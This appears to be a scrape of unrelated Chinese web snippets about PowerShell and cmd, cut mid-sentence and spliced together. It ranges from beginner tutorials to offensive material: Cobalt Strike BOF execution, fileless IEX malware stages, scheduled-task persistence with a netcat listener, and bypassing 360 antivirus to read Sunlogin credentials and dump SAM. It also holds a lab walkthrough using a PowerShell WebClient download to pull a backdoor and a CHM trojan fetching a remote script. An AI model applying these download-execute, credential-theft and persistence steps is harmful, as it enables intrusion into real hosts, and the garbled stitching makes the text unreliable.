2、普通一键部署：通过运行一键部署脚本完成部署。需要登录服务器并运行命令行。...方式二：普通一键部署（使用一键部署脚本） 如果您希望自己登录服务器执行安装操作，可以使用在登录服务器后使用一键部署脚本进行开服。...PowerShell是一种任务自动化和配置管理框架，它提供了一个命令行Shell和脚本语言，用于管理和控制Windows操作系统和相关应用程序。那么要如何找到 PowerShell ？...使用文件资源管理器 打开文件资源管理器（Windows资源管理器），导航到所需的目录，然后在地址栏中输入"powershell"并按下回车键。这将在当前目录中打开PowerShell。...2、使用如下命令，将默认配置文件复制到幻兽帕鲁下的LinuxServer目录中： 默认情况下，PalWorldSettings.ini文件是空的，手动配置的门槛很高，因此我们推荐在默认配置文件的基础上进行修改
有一些程序不支持被直接启动，而要求通过命令行启动。这个时候，你就需要使用 PowerShell 或者 PowerShell Core 来启动这样的程序。...我们都知道如何在命令行或各种终端中启动一个程序，但是当你需要自动启动这个程序的时候，你就需要知道如何通过 PowerShell 或其他命令行终端来启动一个程序，而不是手工输入然后回车运行了。...本文就介绍 PowerShell 的命令行启动参数。利用这些参数，你可以自动化地通过 PowerShell 程序来完成一些原本需要通过手工执行的操作或者突破一些限制。...比如其中之一，执行脚本。 使用 PowerShell 执行命令/脚本后保留窗口不退出 需要加上 -NoExit 参数。...使用 PowerShell 执行多条命令/脚本 多条脚本之间使用 ; 作为分隔： 1 > pwsh -c "D:\walterlv\frpc.exe -c .
Cobalt Strike 4.1于2020年6月25日发布，该版本引入了一种能够运行Beacon对象文件的功能，即能够Beacon中执行代码、解析参数、调用一些Win32 API、报告输出和退出。...自那时起，BOF变得非常流行，因此也衍生出了在Cobalt Strike的Beacon之外的其他环境中启动或执行BOF的需求。...libc）； 3、支持与C/C++/Zig应用程序完美集成； 4、增加了用Zig编程语言编写BOF的能力，该语言的所有功能和丰富的标准库都可以用于BOF； 5、异步BOF执行，能够在单独的线程中启动更耗时的...BOF； 6、BOF进程注入，通过将其注入新进程来启动风险更大的BOF； 7、完美支持Windows COFF和UNIX/Linux ELF格式； 8、支持Linux ARM和AARCH64； 7、允许直接从文件系统运行...在开发和调试过程中，我们可以直接从文件系统来运行BOF代码。
典型脚本后缀名称.ps1 通过对16年下半年与17年上半年样本类型进行分析， 其中JScript与VBScript的比例为7:3，以单独文件存在的PowerShell攻击脚本少之又少，但其在文档攻击中却颇为常见...2.2.2 rundll32.exe rundll32.exe可以运行DLL文件，使用方法如下:命令行格式:rundll32.exe , 可以用如下命令行执行JS代码 rundll32.exejavascript...在脚本行为上，目前的趋势是“暴露尽可能少的代码”，常见的方式是通过2段代码分级执行，常见的第2级代码获取方式为联网下载，或者是从本机环境中进行获取(如:进程环境，注册表，事件日志)，而第2级类型通常为一个...PE文件，而目前对于第2级PE的执行方式，也渐渐从之前的直接允许转换到延迟执行，如下:通过设置计划任务方式在开机时执行。...0x1、宏安全（恶意宏代码） 抽样统计显示，通过执行文档中的宏代码，直接下载恶意程序是目前攻击者使用的主要方式，用户打开文档中招后就会连接远端下载恶意程序，从而导致用户计算机中毒，攻击者使用这种攻击方式的好处是可以随时在云端替换下载文件
此恶意程序中使用了多阶段Powershell脚本，其中许多阶段都是完全无文件的，这就说明攻击者为了避开检测也是很努力的。...没有编码的这段会被用于解压缩该代码，并传递给Invoke-Expression Powershell cmdlet（IEX）执行。通过这一步骤，代码不需要被写入受感染设备的文件系统，就可以执行。...第二阶段Powershell 第一阶段中的IEX执行Powershell脚本后，Talos团队开始观察到感染设备上出现了一写比较有趣的活动。...有点必须要注意的是，第三、四阶段的Powershell脚本，都包含两组域，只有在样本使用第二组域名出现问题时才会使用第一组域名。 ?...第四阶段payload并不能自主执行，如果仅尝试执行第四段payload，就会失败，因为第四段payload依赖于第三段Powershell脚本中的解码函数。 ? 这个函数还有其他几个功能。
如何查看隐藏用户： 在计算机中不同地方看到的用户的数量是有区别的。...如何删除隐藏用户： ①在注册表中右键删除，重启一下即可。 ②在控制面板中进行管理删除。...6、整个逻辑过程 当访问127.0.0.1/test.php时，先扫描.user.ini文件，通过.user.ini文件中的配置项auto_prepend_file，在test.php文件被执行前先读取...shell=test时，先扫描.user.ini文件，通过.user.ini文件中的配置项auto_prepend_file，在test.php文件被执行前先读取test.jpg内容，if条件满足，执行...Powershell权限维持 参考此Powershell脚本：https://github.com/re4lity/Schtasks-Backdoor 利用代码 ①在cmd中输入nc -lvp 9999
注：通过任务管理器查看CPU较高使用率和多个PowerShell.exe进程，能初步判断机器中了此木马，查看其计划任务有随机名，调用PwoerShell确定木马病毒存在。 攻击链路： ?...该病毒获取到用户名或密码时，无论是爆破还是抓取到的用户名密码，通过IPC$登陆后，对中病毒机器执行以下命令进行远程下载执行，同时设置端口转发，将来自65532端口的流量转发到1.1.1.1地址的53端口...分析update.exe如下： 该文件中发送指令通过RSA算法进行加密， 获取指令后通过编码RSA公钥进行解密，最终执行远程命令。...释放powershell脚本文件并执行mimikatz模块，运行mimi操作后，释放了另一个配置文件 ? mkatz.ini文件中为抓取到的用户密码hash值 ?...进程操作 执行cmd命令查询域名信息、本地管理员组信息： ? 判断当前环境是否在域中，由于测试机未加入域，此操作失败。 ? 释放PowerShell脚本并执行，命令行参数为 ?
0x01 前言 群友在某次项目测试中遇到一个存在向日葵远程命令执行漏洞的IP，目标环境Windows2016+360+Wdf，由于存在360而无法通过向日葵漏洞利用工具执行命令进行下一步测试。...(2) 读取向日葵配置文件 低版本向日葵可直接执行以下命令读取默认安装路径中的config.ini配置文件即可获取ID和Pass，然后再用解密脚本得到明文后直接去连接就好了，那如果是高版本向日葵或自定义安装呢...C:\Progra~1\Oray\SunLogin\SunloginClient\config.ini 因为较高版本的向日葵将ID和Pass写进注册表里了，所以在配置文件中是找不到的，可通过执行以下命令读取对应注册表项获取...如果目标主机的向日葵为自定义路径安装，那么我们该如何得到他的安装路径去读取config配置文件呢？可以使用sc qc命令查询向日葵服务得到安装路径，或者读取向日葵服务对应的注册表项。...0x06 文末总结 首先我们是解决了向日葵利用工具执行命令被360拦截的问题，后边其实大部分测试的都是在向日葵远程命令执行漏洞下如何去绕过360进程防护执行木马、脚本、读注册表、导出SAM、添加管理员等
我们都知道如何在 cmd.exe 中启动一个程序，但是当你需要自动启动这个程序的时候，你就需要知道如何通过 cmd.exe 来启动一个程序，而不是手工输入然后回车运行了。...本文就介绍 cmd.exe 的命令行启动参数。利用这些参数，你可以自动化地通过 cmd.exe 程序来完成一些原本需要通过手工执行的操作或者突破一些限制。...顺便，使用 PowerShell 来启动的方法可以参见我的另一篇博客： PowerShell 的命令行启动参数（可用于执行命令、传参或进行环境配置） - 吕毅 cmd.exe 的帮助文档 先打开一个 cmd...与 /c 参数不同的是： /c 在执行完程序之后，cmd.exe 也会终止 /k 在执行完程序之后，cmd.exe 依然会继续运行 所以 /c 命令会更适用于自动化的脚本，而 /k 命令则更适用于半自动化的脚本...cmd.exe 启动参数使用中的坑 在上面的例子中，我们的路径中不涉及到空格。我们知道，路径中有空格的话，在命令行中使用需要加上引号。
1.别名基本用法 2.自定义别名 五.Powershell变量基础 1.基础用法 2.变量操作 3.自动化变 4.环境变量 六.Powershell调用脚本程序 1.脚本文件执行策略 2.调用脚本程序...那么，如何进入Powershell呢？ 一种方法是在运行中直接输入Powershell打开，另一种方法是CMD中输入Powershell打开。...---- 三.Powershell执行外部命令及命令集 1.外部命令 Powershell是CMD的一个扩展，仍然能够让CMD中的命令在Powershell中使用，Powershell初始化时会加载CMD...---- 六.Powershell调用脚本程序 1.脚本文件执行策略 首先，发现我们的脚本文件是禁止执行的。 get-executionpolicy 接着，我们尝试获取策略帮助信息。...管道和重定向 三.Powershell执行外部命令及命令集 四.Powershell别名使用 五.Powershell变量基础 六.Powershell调用脚本程序 如果你是一名新人，一定要踏踏实实亲自动手去完成这些基础的逆向和渗透分析
.别名基本用法 2.自定义别名 五.Powershell变量基础 1.基础用法 2.变量操作 3.自动化变量 4.环境变量 六.Powershell调用脚本程序 1.脚本文件执行策略 2.调用脚本程序...那么，如何进入Powershell呢？ 一种方法是在运行中直接输入Powershell打开，另一种方法是CMD中输入Powershell打开。...---- 三.Powershell执行外部命令及命令集 1.外部命令 Powershell是CMD的一个扩展，仍然能够让CMD中的命令在Powershell中使用，Powershell初始化时会加载CMD...系统变量 $env:path Python可以直接打开，Wordpad不能打开，需要添加环境变量中。 ---- 2.命令集 通过get-command获取所有命令，通常是动名词的方式。...---- 六.Powershell调用脚本程序 1.脚本文件执行策略 首先，发现我们的脚本文件是禁止执行的。 get-executionpolicy 接着，我们尝试获取策略帮助信息。
因此若要在 v6 之前的 PowerShell 版本中运行 sc.exe 命令，必须使用包含文件扩展名 exe的完整文件名 sc.exe。...通用参数 一个参数它由 PS 引擎添加到所有 cmdlet、高级函数和工作流中。 使用点获取来源 在 PS 中若要启动一个命令，可在该命令前键入一个点和一个空格。...根模块 在模块清单的 RootModule 项中指定的模块。 运行空间 在 PS 中，在其中执行管道中每个命令的操作环境。 脚本块 在 PS 编程语言中，可作为单个单元使用的语句或表达式的一个集合。...PS 为IT管理员提供全面控制以及实现系统管理任务自动化的一个命令行 Shell 和基于任务的脚本技术; PS命令 导致操作被执行的管道中的元素。PS 命令可以在键盘上输入或以编程方式调用。...它可以由 PS 提供程序定义或是在命令行中创建。 在命令行创建的驱动器是特定于会话的驱动器，并在会话关闭时丢失。
（可使用类似Xampp等软件搭建http/https服务器来检测该方法的功能）： 在这个样本中，恶意文件evilfile.txt会下载到目标设备的磁盘中,并通过调用环境变量$Appdata将该文件存储在路径...这些文件一般来说都是一些恶意脚本，并且能够使用Powershell –Command参数在内存中直接执行。...这项技术在很多所谓的无文件恶意软件攻击中得到了广泛使用，因为恶意脚本可以直接在目标设备的内存中运行而不会在硬盘中留下任何痕迹。除此之外，这种技术还可以绕过基于签名的检测机制。...: 利用PowerShell终端执行各种命令 –EncodedCommand / -e / -Enc: 在命令行中传递编码后的参数 –Nop / -Noprofile : 忽略Profile文件中的命令...脚本或命令会通过命令行进程执行。
后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell...script获取pty 我们可以使用 Linux 系统下的 script 命令，在弹回来的 shell 下创建一个带有 tty 的 shell, 这样就可以勉强使用一下 top 和 vim $ script.../dev/null 如果不加 /dev/null 的话，会在当前路径下生成一个名字是 typescript 的文件，记录着在 script 生命周期里你执行的所有命令和结果。...所以也就是在Ubuntu中可以认为/bin/sh就是/bin/dash, 如果打算使用bash, 可直接将/bin/sh软链接到/bin/bash. root@b3fe92a89f30:/# ll -h...Debian曾经采用/bin/bash更改/bin/dash，目的使用更少的磁盘空间、提供较少的功能、获取更快的速度。但是后来经过shell脚本测试存在运行问题。
百度百科解释： Windows PowerShell 是一种命令行外壳程序和脚本环境，使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。...PowerShell v3采用新的cmdlet让管理员能够更深入到系统进程中，这些进程可以制作成可执行的文件或脚本（script）。...作为PowerShell 7的一部分，Microsoft在之前的日志记录基础上，增加了一种安全使用本地或远程存储中的凭据的方法，以便不需要将密码嵌入到脚本中。...模拟执行Get-process获取系统进程信息，然后观察Powershell日志能否记录此次测试行为。...Powershell事件800 命令行的管道执行详细信息: Get-process。
通过允许发送对象（而不是文本），它扩展了在命令之间发送数据的概念。 右命令行很容易过度到脚本 使用 Windows PowerShell，可以很方便地从以交互方式键入命令过渡到创建和运行脚本。...可以在 Windows PowerShell命令提示符下键入命令以找到可执行任务的命令。随后，可将这些命令保存到脚本或历史记录中，然后将其复制到文件中以用作脚本。...除此之外，Powershell还可以调用外部的.ps1脚本文件，也可以在脚本中创建自己的函数。...某些复杂工具（例如应用程序更新程序）会先将内部文件解包，然后才显示其帮助。如果使用的参数不正确，则该工具可能会忽略键入的内容，并自动开始执行任务。...脚本命令开发人员无需分析该命令，他们只需提供帮助文本。即使是在 PowerShell 中运行传统命令行工具，也可以使用 PowerShell 的帮助功能。
由于该病毒会通过暴破和漏洞利用执行远程命令等方式进行传播，从而造成该病毒在互联网中的感染量较大。主机在被入侵感染后，会执行木马下载器PowerShell脚本。...病毒传播趋势图 被感染的主机会通过计划任务定时执行或直接执行PowerShell命令行，命令行下载执行PowerShell脚本。命令行的具体代码，如下图所示： ?...下载执行挖矿模块和病毒传播模块 传播模块 在病毒执行后，会从C&C服务器下载并执行一个名为if.bin的PowerShell脚本文件，该脚本为混淆后的病毒传播模块。...永恒之蓝漏洞传播 漏洞利用或是暴破成功后执行远程命令行或运行可执行文件。远程命令行或可执行文件功能基本一致，可以在被感染的新主机上创建计划任务下载执行恶意脚本。具体代码，如下图所示: ?...定义远程命令行和可执行文件 以其中一个下载执行的rdp.jsp脚本为例，这个脚本会创建计划任务执行PowerShell命令行，命令行内容与最初截获的样本命令行内容一致。
，选择攻击--生成后门--Windows Executable (S)，创建木马文件webserver.exe 通过蚁剑虚拟终端上传并执行木马文件，成功上线CS 5、使用插件提权 6、建立一级代理...shiro-1.2.4_rce.py http://10.10.10.66:8080/shiro/ 3、powershell下载执行文件上线CS 1）放置后门文件 在10.10.10.0/24同网段中有...Web服务器可以访问文件，将后门文件zz4.exe放置在Web服务器上，用于获取该后门文件。...2）powershell下载文件并执行 在shiro-1.2.4_rce.py工具中执行命令 powershell (new-object System.Net.WebClient).DownloadFile...3）在虚拟终端执行该文件 七、涉密域 201.1.10.206 1、建立frp二级代理（安全域方向） frp代理文件配置如下，共有4个配置文件 ##安全域# frpc.ini[common]server_addr
在解开这份CHM文档后，瑞星网络安全工程师在一个html页面中找到了原因：这个电子书中的某个HTML页面内，嵌入了一段恶意代码，它可以下载一个PowerShell脚本并执行。...完整命令行如下： 命令行以隐藏方式启动PowerShell，并执行下载攻击者托管于Github上的攻击脚本——start.ps1。...start.ps1首先向106.80.36.165发起一个HTTP请求，下载的内容为一段PowerShell脚本字符串，通过Invoke-Expression直接调用，脚本内容如下： 根据脚本中指明的方法...脚本在解码这段shellcode后，将其拷贝到通过VirtualAlloc分配的一块RWX（Protect为0x40）的内存中，并通过CreateThread创建一个线程来执行，如下： 这段shellcode...脚本执行后，下载两个文件，分别为Get.exe和Command.bat，然后执行Command.bat调用Get.exe，将获取的密码保存到用户目录下的D:\GetPass.txt中。
0x00 PowerShell的内网渗透之旅 内网渗透一直以来都是一个热门话题，试想在一个大型的内网环境下，当我们拿到了内网windows机器后，该如何通过他们去获取更多的所需资源，这就需要进行内网渗透了...0x01 PowerShell简介及特性 Windows Powershell是一种命令行外壳程序和脚本环境，使命令行用户和脚本编写者可以利用.NET Framework的强大功能（因此也支持.NET对象...，三个不同平台的命令，在powershell中均可使用，即别名机制。...b).脚本执行策略：并不是每个.ps1后缀的powershell脚本都可以被执行，在powershell中有策略进行严格把控： ●Unrestricted: 权限最高，可以不受限制执行任何脚本。...通过命令直接算出距离明年的今天有多少天。 ? 通过命令获取当前PC中跑了多少进程。 ? 查看Windows目录下所有文本文件txt的大小。 ? 可将数据输出为HTML格式、CSV格式等。 ?
领取专属 10元无门槛券
手把手带您无忧上云
